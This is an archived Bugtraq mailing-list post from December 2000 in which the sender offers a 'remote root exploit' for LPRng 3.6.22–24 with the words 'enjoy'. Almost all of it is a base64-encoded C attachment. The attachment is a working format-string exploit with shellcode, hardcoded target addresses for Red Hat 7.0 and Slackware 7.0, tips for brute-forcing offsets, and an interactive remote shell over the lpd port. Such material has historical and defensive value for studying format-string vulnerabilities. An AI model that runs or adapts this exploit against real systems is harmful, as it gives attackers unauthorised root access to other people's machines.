[18084] in bugtraq

home help back first fref pref prev next nref lref last post

LPRng remote root exploit

daemon@ATHENA.MIT.EDU (venomous)
Thu Dec 14 18:33:26 2000

Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-1307901943-976761685=:2576"
Message-Id:  <Pine.LNX.4.20.0012132339400.2576-200000@powerhouse.is.penguinpowered.com.ar>
Date:         Wed, 13 Dec 2000 23:41:25 -0300
Reply-To: venomous <venomous@RDCREW.COM.AR>
From: venomous <venomous@RDCREW.COM.AR>
To: BUGTRAQ@SECURITYFOCUS.COM

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--8323328-1307901943-976761685=:2576
Content-Type: TEXT/PLAIN; charset=US-ASCII


LPRng-3.6.22/23/24 remote root exploit, enjoy.

venomous of rdC
venomous@rdcrew.com.ar
http://www.rdcrew.com.ar


--8323328-1307901943-976761685=:2576
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="rdC-LPRng.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.20.0012132341250.2576@powerhouse.is.penguinpowered.com.ar>
Content-Description:
Content-Disposition: attachment; filename="rdC-LPRng.c"

LyoNCiAqICAgIFJFTU9URSBST09UIEVYUExPSVQgZm9yIGxpbnV4IHg4NiAt
IExQUm5nLTMuNi4yNC0xIChSZWRIYXQgNy4wKQ0KICoNCiAqIFRoZSBSZWRI
YXQgNy4wIHJlcGxhY2VkIHRoZSBCU0QgbHByIHdpdGggdGhlIExQUm5nIHBh
Y2thZ2Ugd2hpY2ggaXMgDQogKiB2dWxuZXJhYmxlIHRvIGZvcm1hdCBzdHJp
bmcgYXR0YWNrcyBiZWNhdXNlIGl0IHBhc3NlcyBpbmZvcm1hdGlvbg0KICog
dG8gdGhlIHN5c2xvZyBpbmNvcnJlY3RseS4NCiAqIFlvdSBjYW4gZ2V0IHJl
bW90ZSByb290IGFjY2VzcyBvbiBtYWNoaW5lcyBydW5uaW5nIFJlZEhhdCA3
LjAgd2l0aA0KICogbHBkIHJ1bm5pbmcgKHBvcnQgNTE1L3RjcCkgaWYgaXQg
aXMgbm90IGZpeGVkLCBvZiBjb3Vyc2UgKDMuNi4yNSkuDQogKg0KICogYm9u
dXM6IEkgdGVzdGVkIGl0IHRvbyBvbiBzbGFja3dhcmUgNy4wIHdpdGggTFBS
bmczLjYuMjItMSwgcmVtZW1iZXINCiAqIGlzIC1ub3QtIGluc3RhbGxlZCBi
eSBkZWZhdWx0IChpc250IGEgcGFja2FnZSBvZiB0aGUgc2xhY2t3YXJlKS4N
CiAqDQogKiBhbmQsLi4gdGhpcyBjb2RlIGlzIGZvciBlZHVjYXRpb25hbCBw
cm9wb3Vyc2VzIG9ubHksIGRvIG5vdCB1c2UNCiAqIGl0IG9uIHJlbW90ZSBt
YWNoaW5lcyB3aXRob3V0IGF1dGhvcml6YXRpb24uDQogKg0KICogZ3JlZXRz
OiBicnVqMCwga2EweiwgZG4wLCAjcmRDIGFuZCAjZmxhdGxpbmUNCiAqDQog
KiBjb2RlZCBieSB2ZW5vbW91cyBvZiByZEMgLSBBcmdlbnRpbmlhbiBzZWN1
cml0eSBncm91cC4NCiAqIHZlbm9tb3VzQHJkY3Jldy5jb20uYXINCiAqIGh0
dHA6Ly93d3cucmRjcmV3LmNvbS5hcg0KICoNCiAqLw0KDQojaW5jbHVkZSA8
c3RkaW8uaD4NCiNpbmNsdWRlIDxzdHJpbmcuaD4NCiNpbmNsdWRlIDxuZXRk
Yi5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzeXMv
c29ja2V0Lmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8
c3lzL3RpbWUuaD4NCiNpbmNsdWRlIDx1bmlzdGQuaD4NCiNpbmNsdWRlIDxl
cnJuby5oPg0KI2luY2x1ZGUgPHRpbWUuaD4NCiNpbmNsdWRlIDxzaWduYWwu
aD4NCg0KY2hhciBzaGVsbGNvZGVbXT0gLy8gbm90IG1pbmUNCiJceDMxXHhj
MFx4MzFceGRiXHgzMVx4YzlceGIzXHgwN1x4ZWJceDY3XHg1Zlx4OGRceDRm
IiANCiJceDA3XHg4ZFx4NTFceDBjXHg4OVx4NTFceDA0XHg4ZFx4NTFceDFj
XHg4OVx4NTFceDA4Ig0KIlx4ODlceDQxXHgxY1x4MzFceGQyXHg4OVx4MTFc
eDMxXHhjMFx4YzZceDQxXHgxY1x4MTAiDQoiXHhiMFx4NjZceGNkXHg4MFx4
ZmVceGMwXHg4MFx4NzlceDBjXHgwMlx4NzVceDA0XHgzYyINCiJceDAxXHg3
NFx4MGRceGZlXHhjMlx4ODBceGZhXHgwMVx4N2RceGUxXHgzMVx4YzBceGZl
Ig0KIlx4YzBceGNkXHg4MFx4ODlceGQzXHgzMVx4YzlceDMxXHhjMFx4YjBc
eDNmXHhjZFx4ODAiDQoiXHhmZVx4YzFceDgwXHhmOVx4MDNceDc1XHhmM1x4
ODlceGZiXHgzMVx4YzBceDMxXHhkMiINCiJceDg4XHg0M1x4MDdceDg5XHg1
Ylx4MDhceDhkXHg0Ylx4MDhceDg5XHg0M1x4MGNceGIwIg0KIlx4MGJceGNk
XHg4MFx4MzFceGMwXHhmZVx4YzBceGNkXHg4MFx4ZThceDk0XHhmZlx4ZmYi
DQoiXHhmZlx4MmZceDYyXHg2OVx4NmVceDJmXHg3M1x4NjgiOw0KDQp2b2lk
IHVzYWdlKGNoYXIgKnByb2cpOw0Kdm9pZCBtYWtlYnVmZmVyKGNoYXIgKmFk
ZHIsIGNoYXIgKnNoYWRkciwgaW50IGFkZHJvZmZzZXQsIGludCBzaG9mZnNl
dCwgaW50IHBhZGRpbmcgLCBpbnQgZnNjKTsNCnZvaWQgc2lnaW50KCk7DQp2
b2lkIHNpZ2FsYXJtKCk7DQp2b2lkIG1rX2Nvbm5lY3QoY2hhciB2aWN0aW1b
MTI4XSwgaW50IHBvcnQpOw0KDQpjaGFyIHlhaG9vWzEwMjRdOw0KDQpzdHJ1
Y3Qgb3MNCnsNCgljaGFyICphZGRyOw0KCWNoYXIgKnNoZWxsYWRkcjsNCglj
aGFyICpkZXNjOw0KCWludCBhZGRyb2Zmc2V0Ow0KCWludCBzaGVsbGFkZHJv
ZmZzZXQ7DQoJaW50IHBhZDsNCglpbnQgZnNjOw0KfTsNCg0KLyogZ2VuZXJh
bGx5LCB0aGUgYWRkcmVzc2VzIGFyZSB3cm9uZyBmb3IgYSB2ZXJ5IHNtYWxs
IHZhbHVlLCwgaSByZWNvbW1lbmQNCiAqIHRoYXQgeW91IGJydXRlZm9yY2Ug
dGhlIHJldGxvYyArIG9yIC0gYnkgMS4uKGV4OiAtNTAgdG8gKzUwLCBzdGVw
cyBvZiAxKQ0KICogaWYgaXQgZG9udCB3b3JrLCB0cnkgdGhlIHNhbWUgYnV0
IGNoYW5naW5nIHRoZSBmc2MgKHRoaXMgaXMgdGhlIHZhbHVlDQogKiBvZiB3
aGVuIHdlIHN0YXJ0IHRvIGNvbnRyb2wgdGhlIGZvcm1hdHMgc3RyaW5ncyks
IHN0YXJ0IGZyb20gMjkwIHVudGlsDQogKiAzMzAsIGl0IHNob3VsZCBiZSBl
bm91Z2guDQogKiBhbmQgaWYgaXQgc3RpbGwgZG9udCB3b3JrLCwgOnwsIHRy
eSB3aXRoIHRoZSBvZmZzZXQgb2YgdGhlIHNoZWxsY29kZQ0KICogYWRkcmVz
cywgdGhpcyBidWZmZXIgaGFzIG5vcHMsIHNvIGl0IHNob3VsZG50IGJlIGRp
ZmZpY3VsdCB0byBndWVzcy4NCiAqIG1ha2UgYSAuc2ghIDopDQogKiBvZiBj
b3Vyc2UsIHlvdSBjYW4gc3RhcnQgZ2RiIG9uIHlvdXIgYm94KGVzKSBhbmQg
ZG9udCBndWVzcyBub3RoaW5nDQogKiBqdXN0IGluc3BlY3QgdGhlIHByb2dy
YW0gYW5kIGdldCB0aGUgY29ycmVjdCB2YWx1ZXMhDQogKg0KICogLXZlbm9t
b3VzDQogKi8NCg0Kc3RydWN0IG9zIHRhcmdldFtdPQ0Kew0KCXsiMHhiZmZm
ZWUzMCIsICIweGJmZmZmNjQwIiwgIlNsYWNrd2FyZSA3LjAgd2l0aCBMUFJu
Zy0zLjYuMjIudGd6IC0gc3RhcnRlZCBmcm9tIHNoZWxsIiwgMCwgMCwgMiwg
Mjk5fSwNCiAgICAgICAgeyIweGJmZmZmMGYwIiwgIjB4YmZmZmY5MjAiLCAi
UmVkSGF0IDcuMCAoR3Vpbm5lc3MpIHdpdGggTFBSbmctMy42LjIyLzIzLzI0
LTEgZnJvbSBycG0gLSBnbGliYy0yLjItNSIsIDAsIDAsIDIsIDMwNH0sDQog
ICAgICAgIHtOVUxMLE5VTEwsTlVMTCwwLDB9DQp9Ow0KDQoNCm1haW4oaW50
IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkNCnsNCiAgICBpbnQgcG9ydD01MTUsDQog
ICAgc289MCwNCiAgICBwYWRkaW5nPTAsDQogICAgcmV0bG9jb2Zmc2V0PTAs
DQogICAgc2hlbGxjb2Rlb2Zmc2V0PTAsDQogICAgZnNjVD0wOw0KDQogICAg
Y2hhciBhcmcsDQogICAgICAgIHZpY3RpbVsxMjhdLA0KICAgIHJsWzEyOF0s
DQogICAgc2hbMTI4XTsNCg0KDQogICAgaWYoYXJnYyA8IDMpDQogICAgICAg
IHVzYWdlKGFyZ3ZbMF0pOw0KDQogICAgYnplcm8odmljdGltLHNpemVvZih2
aWN0aW0pKTsNCiAgICBiemVybyhybCxzaXplb2YocmwpKTsNCiAgICBiemVy
byhzaCxzaXplb2Yoc2gpKTsNCg0KICAgIHdoaWxlICgoYXJnID0gZ2V0b3B0
KGFyZ2MsIGFyZ3YsICJoOnA6cjpzOnQ6UDpSOlM6YyIpKSAhPSBFT0YpDQog
ICAgew0KICAgICAgICBzd2l0Y2goYXJnKQ0KICAgICAgICB7DQogICAgICAg
IGNhc2UgJ2gnOg0KICAgICAgICAgICAgc3RybmNweSh2aWN0aW0sb3B0YXJn
LDEyOCk7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAncCc6
DQogICAgICAgICAgICBwb3J0ID0gYXRvaShvcHRhcmcpOw0KICAgICAgICAg
ICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3InOg0KICAgICAgICAgICAgc3Ry
bmNweShybCxvcHRhcmcsMTI4KTsNCiAgICAgICAgICAgIGJyZWFrOw0KICAg
ICAgICBjYXNlICdzJzoNCiAgICAgICAgICAgIHN0cm5jcHkoc2gsb3B0YXJn
LDEyOCk7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAndCc6
DQogICAgICAgICAgICBzbyA9IGF0b2kob3B0YXJnKTsNCiAgICAgICAgICAg
IGJyZWFrOw0KICAgICAgICBjYXNlICdQJzoNCiAgICAgICAgICAgIHBhZGRp
bmcgPSBhdG9pKG9wdGFyZyk7DQogICAgICAgICAgICBicmVhazsNCiAgICAg
ICAgY2FzZSAnUic6DQogICAgICAgICAgICByZXRsb2NvZmZzZXQgPSBhdG9p
KG9wdGFyZyk7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAn
Uyc6DQogICAgICAgICAgICBzaGVsbGNvZGVvZmZzZXQgPSBhdG9pKG9wdGFy
Zyk7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnYyc6DQog
ICAgICAgICAgICBmc2NUID0gYXRvaShvcHRhcmcpOw0KICAgICAgICAgICAg
YnJlYWs7DQogICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICB1c2FnZShh
cmd2WzBdKTsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAg
fQ0KDQogICAgaWYoc3RybGVuKHZpY3RpbSkgPT0gMCkNCiAgICAgICAgdXNh
Z2UoYXJndlswXSk7DQoNCiAgICBpZiAoc3RyY21wKHJsLCIiKSkNCiAgICAg
ICAgdGFyZ2V0W3NvXS5hZGRyID0gcmw7DQoNCiAgICBpZiAoc3RyY21wKHNo
LCIiKSkNCiAgICAgICAgdGFyZ2V0W3NvXS5zaGVsbGFkZHIgPSBzaDsNCg0K
ICAgIGlmIChyZXRsb2NvZmZzZXQgIT0gMCkNCiAgICAgICAgdGFyZ2V0W3Nv
XS5hZGRyb2Zmc2V0ID0gdGFyZ2V0W3NvXS5hZGRyb2Zmc2V0ICsgcmV0bG9j
b2Zmc2V0Ow0KDQogICAgaWYgKHNoZWxsY29kZW9mZnNldCAhPSAwKQ0KICAg
ICAgICB0YXJnZXRbc29dLnNoZWxsYWRkcm9mZnNldCA9IHRhcmdldFtzb10u
c2hlbGxhZGRyb2Zmc2V0ICsgc2hlbGxjb2Rlb2Zmc2V0Ow0KDQogICAgaWYg
KHBhZGRpbmcgIT0gMCkNCiAgICAgICAgdGFyZ2V0W3NvXS5wYWQgPSB0YXJn
ZXRbc29dLnBhZCArIHBhZGRpbmc7DQoNCiAgICBpZiAoZnNjVCAhPSAwKQ0K
ICAgICAgICB0YXJnZXRbc29dLmZzYyA9IHRhcmdldFtzb10uZnNjICsgZnNj
VDsNCg0KICAgIHNpZ25hbChTSUdJTlQsIHNpZ2ludCk7DQogICAgbWFrZWJ1
ZmZlcih0YXJnZXRbc29dLmFkZHIsIHRhcmdldFtzb10uc2hlbGxhZGRyLCB0
YXJnZXRbc29dLmFkZHJvZmZzZXQsIHRhcmdldFtzb10uc2hlbGxhZGRyb2Zm
c2V0LCB0YXJnZXRbc29dLnBhZCwgdGFyZ2V0W3NvXS5mc2MpOw0KICAgIG1r
X2Nvbm5lY3QodmljdGltLCBwb3J0KTsNCg0KfQ0KDQp2b2lkIG1ha2VidWZm
ZXIoY2hhciAqYWRkciwgY2hhciAqc2hhZGRyLCBpbnQgYWRkcm9mZnNldCwg
aW50IHNob2Zmc2V0LCBpbnQgcGFkZGluZywgaW50IGZzYykNCnsNCiAgICBj
aGFyICp0bXAsDQogICAgYWRkcnRtcFsyMTZdLA0KICAgIG90WzEyOF07DQoN
CiAgICBpbnQgaSxiLHgsdDsNCiAgICB1bnNpZ25lZCBsb25nIHB0Ow0KDQog
ICAgY2hhciB0ZW1wWzEyOF07DQogICAgY2hhciBhMSxhMixhMyxhNCxhNSxh
NixhNyxhODsNCiAgICBjaGFyIGZpclsxMl0sc2VjWzEyXSx0aHJbMTJdLGYw
clsxMl07DQogICAgdW5zaWduZWQgbG9uZyBmaXJsLHNlY2wsdGhybCxmb3Js
Ow0KICAgIHVuc2lnbmVkIGxvbmcgcGFzMSxwYXMyLHBhczMscGFzNDsNCg0K
DQogICAgYnplcm8oeWFob28sc2l6ZW9mKHlhaG9vKSk7DQogICAgYnplcm8o
b3Qsc2l6ZW9mKG90KSk7DQogICAgYnplcm8oYWRkcnRtcCxzaXplb2YoYWRk
cnRtcCkpOw0KDQogICAgcHJpbnRmKCIqKiBMUFJuZyByZW1vdGUgcm9vdCBl
eHBsb2l0IGNvZGVkIGJ5IHZlbm9tb3VzIG9mIHJkQyAqKlxuIik7DQogICAg
cHJpbnRmKCJcbmNvbnN0cnVjdGluZyB0aGUgYnVmZmVyOlxuXG4iKTsNCiAg
ICBwcmludGYoImFkZGluZyBieXRlcyBmb3IgcGFkZGluZzogJWRcbiIscGFk
ZGluZyk7DQogICAgZm9yKGk9MCA7IGkgPCBwYWRkaW5nIDsgaSsrKQ0KICAg
ICAgICBzdHJjYXQoeWFob28sIkEiKTsNCg0KICAgIHRtcCA9IGFkZHI7DQog
ICAgcHQgPSBzdHJ0b3VsKGFkZHIsICZhZGRyLDE2KSArIGFkZHJvZmZzZXQ7
DQogICAgYWRkciA9IHRtcDsNCiAgICBwcmludGYoInJldGxvYzogJXMgKyBv
ZmZzZXQoJWQpID09ICVwXG4iLCBhZGRyLCBhZGRyb2Zmc2V0LCBwdCk7DQog
ICAgcHJpbnRmKCJhZGRpbmcgcmVzdWx0aW5nIHJldGxvYyglcCkuLlxuIixw
dCk7DQogICAgc3ByaW50ZihhZGRydG1wLCAiJXAiLCBwdCk7DQogICAgaWYo
c3RybGVuKGFkZHIpICE9IDEwKQ0KICAgIHsNCiAgICAgICAgcHJpbnRmKCJF
cnJvciwgcmV0bG9jIGlzICVkIGJ5dGVzIGxvbmcsIHNob3VsZCBiZSAxMFxu
IixzdHJsZW4oYWRkcikpOw0KICAgICAgICBleGl0KDEpOw0KICAgIH0NCg0K
ICAgIHB0ID0gMDsNCg0KICAgIGZvciAoaT0wIDsgaSA8IDQgOyBpKyspDQog
ICAgew0KICAgICAgICBwdCA9IHN0cnRvdWwoYWRkcnRtcCwgJmFkZHJ0bXAs
IDE2KTsNCiAgICAgICAgLy9zdHJjYXQoeWFob28sICZwdCk7DQogICAgICAg
IGJ6ZXJvKG90LHNpemVvZihvdCkpOw0KICAgICAgICBzcHJpbnRmKG90LCIl
cyIsJnB0KTsNCiAgICAgICAgc3RybmNhdCh5YWhvbyxvdCw0KTsNCiAgICAg
ICAgcHQrKzsNCiAgICAgICAgc3ByaW50ZihhZGRydG1wLCAiJXAiLCBwdCk7
DQogICAgICAgIC8vcHJpbnRmKCJhZGRydG1wOiVzIDp5YWhvbyAlc1xuIixh
ZGRydG1wLHlhaG9vKTsNCiAgICB9DQoNCiAgICB0bXAgPSBzaGFkZHI7DQog
ICAgcHQgPSAwOw0KICAgIHB0ID0gc3RydG91bChzaGFkZHIsJnNoYWRkciwx
NikgKyBzaG9mZnNldDsNCiAgICBzcHJpbnRmKG90LCIlcCIscHQpOw0KICAg
IHNoYWRkciA9IG90Ow0KDQogICAgcHJpbnRmKCJhZGRpbmcgc2hlbGxjb2Rl
IGFkZHJlc3MoJXMpXG4iLCBzaGFkZHIpOw0KICAgIHNzY2FuZihzaGFkZHIs
IjB4JWMlYyVjJWMlYyVjJWMlYyIsJmExLCZhMiwmYTMsJmE0LCZhNSwmYTYs
JmE3LCZhOCk7DQoNCiAgICBzcHJpbnRmKGZpciwiMHglYyVjIixhMSxhMik7
DQogICAgc3ByaW50ZihzZWMsIjB4JWMlYyIsYTMsYTQpOw0KICAgIHNwcmlu
dGYodGhyLCIweCVjJWMiLGE1LGE2KTsNCiAgICBzcHJpbnRmKGYwciwiMHgl
YyVjIixhNyxhOCk7DQoNCiAgICBmaXJsID0gc3RydG91bChmaXIsJmZpciwx
Nik7DQogICAgc2VjbCA9IHN0cnRvdWwoc2VjLCZzZWMsMTYpOw0KICAgIHRo
cmwgPSBzdHJ0b3VsKHRociwmdGhyLDE2KTsNCiAgICBmb3JsID0gc3RydG91
bChmMHIsJmYwciwxNik7DQoNCiAgICBwYXMxID0gZm9ybCAtIDUwIC0gcGFk
ZGluZzsNCiAgICBwYXMxID0gY2hlY2tfbmVnYXRpdmUocGFzMSk7DQoNCiAg
ICBwYXMyID0gdGhybCAtIGZvcmw7DQogICAgcGFzMiA9IGNoZWNrX25lZ2F0
aXZlKHBhczIpOw0KDQogICAgcGFzMyA9IHNlY2wgLSB0aHJsOw0KICAgIHBh
czMgPSBjaGVja19uZWdhdGl2ZShwYXMzKTsNCg0KICAgIHBhczQgPSBmaXJs
IC0gc2VjbDsNCiAgICBwYXM0ID0gY2hlY2tfbmVnYXRpdmUocGFzNCk7DQoN
CiAgICBzcHJpbnRmKHRlbXAsIiUlLiVkdSUlJWQkbiUlLiVkdSUlJWQkbiUl
LiVkdSUlJWQkbiUlLiVkdSUlJWQkbiIscGFzMSxmc2MsIHBhczIsIGZzYysx
LCBwYXMzLCBmc2MrMixwYXM0LCBmc2MrMyk7DQogICAgc3RyY2F0KHlhaG9v
LHRlbXApOw0KDQogICAgcHJpbnRmKCJhZGRpbmcgbm9wcy4uXG4iKTsNCiAg
ICBiID0gc3RybGVuKHlhaG9vKTsNCiAgICBmb3IgKGk9MCA7IGkgPCAoNTEy
LWItc3RybGVuKHNoZWxsY29kZSkpIDsgaSsrKQ0KICAgICAgICB5YWhvb1ti
K2ldID0gJ1x4OTAnOw0KDQogICAgcHJpbnRmKCJhZGRpbmcgc2hlbGxjb2Rl
Li5cbiIpOw0KICAgIGI9K2k7DQogICAgZm9yICh4PTAgOyB4IDwgYiA7IHgr
KykNCiAgICAgICAgeWFob29bYit4XSA9IHNoZWxsY29kZVt4XTsNCg0KICAg
IHN0cmNhdCh5YWhvbywiXG4iKTsNCg0KICAgIHByaW50ZigiYWxsIGlzIHBy
ZXBhcmVkLi4gbm93IGxldHMgY29ubmVjdCB0byBzb21ldGhpbmcuLlxuIik7
DQoNCn0NCg0KY2hlY2tfbmVnYXRpdmUodW5zaWduZWQgbG9uZyBhZGRyKQ0K
ew0KICAgIGNoYXIgaGVbMTI4XTsNCg0KICAgIHNwcmludGYoaGUsIiVkIixh
ZGRyKTsNCiAgICBpZiAoYXRvaShoZSkgPCAwKQ0KICAgICAgICBhZGRyID0g
YWRkciArIDI1NjsNCiAgICByZXR1cm4gYWRkcjsNCn0NCg0Kdm9pZCBta19j
b25uZWN0KGNoYXIgdmljdGltWzEyOF0sIGludCBwb3J0KQ0Kew0KICAgIHN0
cnVjdCBob3N0ZW50ICpob3N0Ow0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiBk
ZW4wbjsNCiAgICBpbnQgc294Ow0KDQogICAgZGVuMG4uc2luX2ZhbWlseSA9
IEFGX0lORVQ7DQogICAgZGVuMG4uc2luX3BvcnQgPSBodG9ucyhwb3J0KTsN
Cg0KICAgIGhvc3QgPSBnZXRob3N0YnluYW1lKHZpY3RpbSk7DQogICAgaWYg
KCFob3N0KQ0KICAgIHsNCiAgICAgICAgcHJpbnRmKCJjYW5ub3QgcmVzb2x2
ZSwgZXhpdGluZy4uLlxuIik7DQogICAgICAgIGV4aXQoMCk7DQogICAgfQ0K
DQogICAgYmNvcHkoaG9zdC0+aF9hZGRyLCAoc3RydWN0IGluX2FkZHIgKikm
ZGVuMG4uc2luX2FkZHIsIGhvc3QtPmhfbGVuZ3RoKTsNCg0KICAgIHNveCA9
IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCk7DQoNCiAgICBzaWdu
YWwoU0lHQUxSTSwgc2lnYWxhcm0pOw0KICAgIGFsYXJtKDEwKTsNCg0KICAg
IHByaW50ZigiY29ubmVjdGluZyB0byAlcyB0byBwb3J0ICVkXG4iLGhvc3Qt
PmhfbmFtZSwgcG9ydCk7DQogICAgaWYgKGNvbm5lY3Qoc294LCAoc3RydWN0
IHNvY2thZGRyICopJmRlbjBuLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyKSkg
PCAwKQ0KICAgIHsNCiAgICAgICAgcHV0Y2hhcignXG4nKTsNCiAgICAgICAg
cGVycm9yKCJjb25uZWN0Iik7DQogICAgICAgIGV4aXQoMSk7DQogICAgfQ0K
ICAgIHByaW50ZigiY29ubmVjdGVkISwgc2VuZGluZyB0aGUgYnVmZmVyLi4u
XG5cbiIpOw0KICAgIHdyaXRlKHNveCwgeWFob28gLCBzdHJsZW4oeWFob28p
KTsNCiAgICBwcmludGYoIiVzXG4iLCB5YWhvbyk7DQogICAgc2xlZXAoMSk7
DQogICAgYWxhcm0oMCk7DQogICAgcnVuc2hlbGwoc294KTsNCn0NCg0KaW50
IHJ1bnNoZWxsKGludCBzb3gpDQp7DQogICAgZmRfc2V0ICByc2V0Ow0KICAg
IGludCAgICAgbjsNCiAgICBjaGFyICAgIGJ1ZmZlcls0MDk2XTsNCg0KICAg
IGNoYXIgKmNvbW1hbmQ9Ii9iaW4vdW5hbWUgLWEgOyAvdXNyL2Jpbi9pZFxu
IjsNCg0KDQogICAgc2VuZChzb3gsIGNvbW1hbmQsIHN0cmxlbihjb21tYW5k
KSwgMCk7DQoNCiAgICBmb3IgKDs7KSB7DQogICAgICAgIEZEX1pFUk8gKCZy
c2V0KTsNCiAgICAgICAgRkRfU0VUIChzb3gsICZyc2V0KTsNCiAgICAgICAg
RkRfU0VUIChTVERJTl9GSUxFTk8sICZyc2V0KTsNCg0KICAgICAgICBuID0g
c2VsZWN0KHNveCArIDEsICZyc2V0LCBOVUxMLCBOVUxMLCBOVUxMKTsNCiAg
ICAgICAgaWYobiA8PSAwKQ0KICAgICAgICAgICAgcmV0dXJuICgtMSk7DQoN
CiAgICAgICAgaWYoRkRfSVNTRVQgKHNveCwgJnJzZXQpKSB7DQogICAgICAg
ICAgICBuID0gcmVjdiAoc294LCBidWZmZXIsIHNpemVvZiAoYnVmZmVyKSwg
MCk7DQogICAgICAgICAgICBpZiAobiA8PSAwKQ0KICAgICAgICAgICAgICAg
IGJyZWFrOw0KDQogICAgICAgICAgICB3cml0ZSAoU1RET1VUX0ZJTEVOTywg
YnVmZmVyLCBuKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmKEZEX0lTU0VU
IChTVERJTl9GSUxFTk8sICZyc2V0KSkgew0KICAgICAgICAgICAgbiA9IHJl
YWQgKFNURElOX0ZJTEVOTywgYnVmZmVyLCBzaXplb2YgKGJ1ZmZlcikpOw0K
ICAgICAgICAgICAgaWYgKG4gPD0gMCkNCiAgICAgICAgICAgICAgICBicmVh
azsNCg0KICAgICAgICAgICAgc2VuZChzb3gsIGJ1ZmZlciwgbiwgMCk7DQog
ICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuICgwKTsNCn0NCg0Kdm9pZCBz
aWdhbGFybSgpDQp7DQogICAgcHJpbnRmKCJjb25uZWN0aW9uIHRpbWVkIG91
dCwgZXhpdGluZy4uLlxuIik7DQogICAgZXhpdCgwKTsNCn0NCg0Kdm9pZCBz
aWdpbnQoKQ0Kew0KICAgIHByaW50ZigiQ0FVR0hUIHNpZ2ludCwgZXhpdGlu
Zy4uLlxuIik7DQogICAgZXhpdCgwKTsNCn0NCg0KDQp2b2lkIHVzYWdlKGNo
YXIgKnByb2cpDQp7DQogICAgaW50IGk7DQoNCiAgICBwcmludGYoIlxuKiog
TFBSbmcgcmVtb3RlIHJvb3QgZXhwbG9pdCBjb2RlZCBieSB2ZW5vbW91cyBv
ZiByZEMgKipcbiIpOw0KICAgIHByaW50ZigiVXNhZ2U6XG5cbiIpOw0KICAg
IHByaW50ZigiJXMgWy1oIGhvc3RuYW1lXSA8LXAgcG9ydD4gPC1yIGFkZHI+
IDwtcyBzaGVsbGNvZGVhZGRyPiA8LXQgdHlwZT4gPC1QIHBhZGRpbmc+IDwt
UiBvZmZzZXQ+IDwtUyBvZmZzZXQ+IDwtYyBvZmZzZXQ+XG5cbiIsIHByb2cp
Ow0KICAgIHByaW50ZigiLWggaXMgdGhlIHZpY3RpbSBpcC9ob3N0XG4iKTsN
CiAgICBwcmludGYoIi1wIHNlbGVjdCBhIGRpZmZlcmVudCBwb3J0IHRvIGNv
bm5lY3QsIGRlZmF1bHQgNTE1XG4iKTsNCiAgICBwcmludGYoIi1yIGlzIHRo
ZSBhZGRyZXNzIHRvIG92ZXJ3cml0ZVxuIik7DQogICAgcHJpbnRmKCItcyBp
cyB0aGUgYWRkcmVzcyBvZiB0aGUgc2hlbGxjb2RlXG4iKTsNCiAgICBwcmlu
dGYoIllvdSBjYW4gdXNlIGEgcHJlZGVmaW5lZCBhZGRyL3NoZWxsY29kZWFk
ZHIgdXNpbmcgLXQgPG51bWJlcj5cblxuIik7DQogICAgcHJpbnRmKCJhdmFp
bGFibGVzIHR5cGVzOlxuXG4iKTsNCiAgICBmb3IgKGk9MCA7IHRhcmdldFtp
XS5kZXNjICE9IE5VTEwgOyBpKyspDQogICAgICAgIHByaW50ZigiJWQgLSAl
c1xuIixpLHRhcmdldFtpXS5kZXNjKTsNCiAgICBwcmludGYoIlxuLVAgaXMg
dG8gZGVmaW5lIHRoZSBwYWRkaW5nIHRvIHVzZSwgdXN1YWxseSAyXG4iKTsN
CiAgICBwcmludGYoIi1SIHRoZSBvZmZzZXQgdG8gYWRkIHRvIDxhZGRyPlxu
Iik7DQogICAgcHJpbnRmKCItUyB0aGUgb2Zmc2V0IHRvIGFkZCB0byA8c2hl
bGxjb2RlYWRkcj5cbiIpOw0KICAgIHByaW50ZigiLWMgd2hlcmUgd2Ugc3Rh
cnQgdG8gY29udHJvbCB0aGUgZm9ybWF0IHN0cmluZ1xuXG4iKTsNCiAgICBl
eGl0KDApOw0KfQ0K
--8323328-1307901943-976761685=:2576--

home help back first fref pref prev next nref lref last post